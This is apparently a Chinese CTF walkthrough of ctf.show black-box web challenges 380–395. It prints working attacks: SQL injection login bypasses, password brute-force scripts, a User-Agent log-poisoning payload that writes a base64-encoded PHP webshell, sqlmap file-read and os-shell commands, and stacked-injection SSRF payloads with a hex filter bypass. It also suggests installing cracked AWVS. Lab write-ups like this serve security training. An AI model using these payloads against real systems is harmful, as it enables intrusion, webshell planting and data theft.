黑盒测试
先装个破解的awvs再说(虽然我不知道后面需不需要用到但是一般可以扫的黑盒用awvs挺好的)
这里安装教程推荐国光师傅的:https://www.sqlsec.com/2020/04/awvs.html
这里我也是推荐使用docker安装,我用的是win10的docker desktop,其实都行。
web380
用御剑扫一下,很成功的扫到了page.php
访问获得报错信息
Notice: Undefined index: id in /var/www/html/page.php on line 16
打开$id.php失败
传一个id=1
Warning: file_get_contents(1.php): failed to open stream: No such file or directory in /var/www/html/page.php on line 20
看起来是执行了file_get_contents($id.'php')。那么传flag
page.php?id=flag
源代码里看见flag
web381
awvs扫一下
访问一下/alsckdfy这个奇怪的文件夹
就得到了flag
url/alsckdfy/
web382
扫
多了个manager。访问之后发现还是首页,只是少了渲染和图片等 重新访问/alsckdfy/,发现是个后台登录界面(虽然上一道题说了那里是后台)
使用万能密码成功登录
1' or 1=1#
web383
得出的结论和上一题一样,方法也同上一题
web384
描述里写:
密码前2位是小写字母,后三位是数字
账号猜测admin
写个脚本爆破。整挺无语,爆的时间也太长了
import requests
import string
import itertools
url = 'http://0b749685-e779-47e4-9ec6-e5dc4efff478.challenge.ctf.show/alsckdfy/check.php'
lower_table = string.ascii_lowercase
digit_table = string.digits
for i in itertools.permutations(lower_table, 2):
for j in itertools.permutations(digit_table, 3):
data = {'u':'admin','p':''.join(i+j)}
r = requests.post(url=url,data=data).text
if('error' not in r):
print(r,data)
web385
线程高了啥都扫不出来,低线程...
扫到个不同寻常的/install,访问
请务必在安装成功后删除本文件
需要重新安装请访问install/?install,管理员密码将重置为默认密码
然后管理员密码成了默认密码,肯定是弱口令。用github上的弱口令密码字典
import requests
url = 'http://a2191e9a-a474-4018-8e6c-9a29f1164d5d.challenge.ctf.show/alsckdfy/check.php'
f = open('password.txt','r').read()
f = f.split('\n')
for pswd in f:
data = {'u':'admin','p':pswd}
r = requests.post(url=url,data=data).text
if('error' not in r):
print(r,data)
很好,密码就是admin888
web386
访问/install/,提示lock.dat存在,你已经安装过了,请勿重复安装
重新扫描一下,发现了clear.php,访问显示清理完成。重新访问install发现还是提示lock.dat存在。
说明clear.php需要传入参数才能够清除文件,这里猜测id、f、file参数,发现file可以,因为在传file=/var/www/html/index.php的时候再去访问index.php就没了
于是传入
clear.php?file=install/lock.dat
剩下的步骤同上
web387
题目描述:前面部分和web386一样
我猜是登录进去之后要干些什么。按照前面部分的来试
结果clear.php删lock.dat文件的时候,提示请勿删除安装文件
于是重新去找地方删,这里又趁着收衣服的时候扫了一遍
有个/debug,访问,返回file not exist
传一个file=/var/www/html/index.php,于是成功访问了页面。传一个/etc/passwd也成功。说明是个文件包含点。很明显想办法包含来写马。这里就仿照web314里面仿照web81的方法,来日志文件包含。方法完全同web314。
然后我刚一访问就提示个12345(debug/?file=/var/log/nginx/access.log)
哦~,肯定是刚刚扫描的时候awvs的测试,既然弹出来了那么就更加说明可以这样做了。日志太多了,我决定重新开一个靶机。
我尝试写一个<?php eval($_GET[1]);?>
到UA里。再去看access.log
看起来这样不行,于是去看wp了。wp中写的是直接删lock文件。即<?php unlink('/var/www/html/install/lock.dat')?>
然后再去/install/?install就可以了,剩下的和之前的步骤一样
web388
继续去做刚刚做过的事看看哪 一步被改了
发现debug成了调试成功,和之前就不一样了。
这里去看群主的视频,发现还是可以通过ua写把chech.php写到1.txt。那我为什么不选择直接写个马呢?即在UA里写
<?php system('echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > /var/www/html/ma.php');?>
写了之后再去debug访问日志文件
然后访问ma.php,发现有回显了,上蚁剑找flag
web389
直接访问debug,提示权限不足,看一下cookie
cookie里有个很明显的jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0NDQ1OTIwOCwiZXhwIjoxNjQ0NDY2NDA4LCJuYmYiOjE2NDQ0NTkyMDgsInN1YiI6InVzZXIiLCJqdGkiOiJiODFmMzE0OTAxYmM3ZTQ3NWQ1NmJjZDZhNDMyMmUxMSJ9.NjLoaKXcXft8fz2RqRb_TRJ18MCr3zwU2Okvzs0EQFo
去解析一下
可以说和jwt系列的第一题一模一样,按照那题做法来做这个题就行了
剩下的方法就和之前一样了,但是既然上一道题找到了flag在哪里,那么这里就直接把flag文件写出来
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/flag.txt') ?>
web390
这一次还是和上面的方法去弄390,结果一直都是权限不足
awvs、御剑扫一下,看看是不是又多了什么文件
这里很奇怪啊,之前都是有page-1.php、page-2.php……
去随便访问一个页面看看,哟,变成了page.php?id=1
很有可能有sql注入啊,去sqlmap跑一下
很OK啊
去百度一下sqlmap读文件,找到了--file-read
试试
sqlmap -u http://90b30248-09bd-4c86-b9a3-082484381568.challenge.ctf.show/page.php?id=1 --file-read /var/www/html/alsckdfy/check.php
还是很OK
web391
sqlmap没跑出来好家伙,看wp发现注入点在
sqlmap -u http://314bd695-e911-441b-ad1d-5d4401e13771.challenge.ctf.show/search.php?title=123 --file-read /var/www/html/alsckdfy/check.php
web392
同上,好耶
好你**
写个shell进去看看
sqlmap -u http://fae0bea2-21e2-485b-a843-b7a2eb8f132b.challenge.ctf.show/search.php?title=123 --os-shell
选项都默认回车
web393
笑死,去访问那些page界面直接爆404.扫一下
确实多了点东西,多了个link.php
草
看到这个第一个想法是SSRF。但是他是靠传的id,这怎么办。去找输入框然后--os-shell也写不了
去看一下wp
wp给出的方法是:用sqlmap跑出列名和表名,然后使用堆叠注入将file:///flag写入自己写的一个id
search.php?title=1';insert into link values(10,'a','file:///flag');
然后访问link.php?id=10
web394
描述直接FLAG_NOT_HERE,我怀疑flag又跑到check.php去了
先还是用之前的payload试一下
回显是error,难道是不能这样了吗
测试了一下,是把file给过滤掉了,那么现在就是想办法绕一下。
最常见的就是16进制绕过,可以。但是访问/link.php?id=10,并没有发现flag
flag估计真是又跑到check.php去了。试了一下发现成功
search.php?title=1';insert into link values(114514,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
然后访问/link.php?id=114514,查看源代码
web395
上一题payload可以打!好耶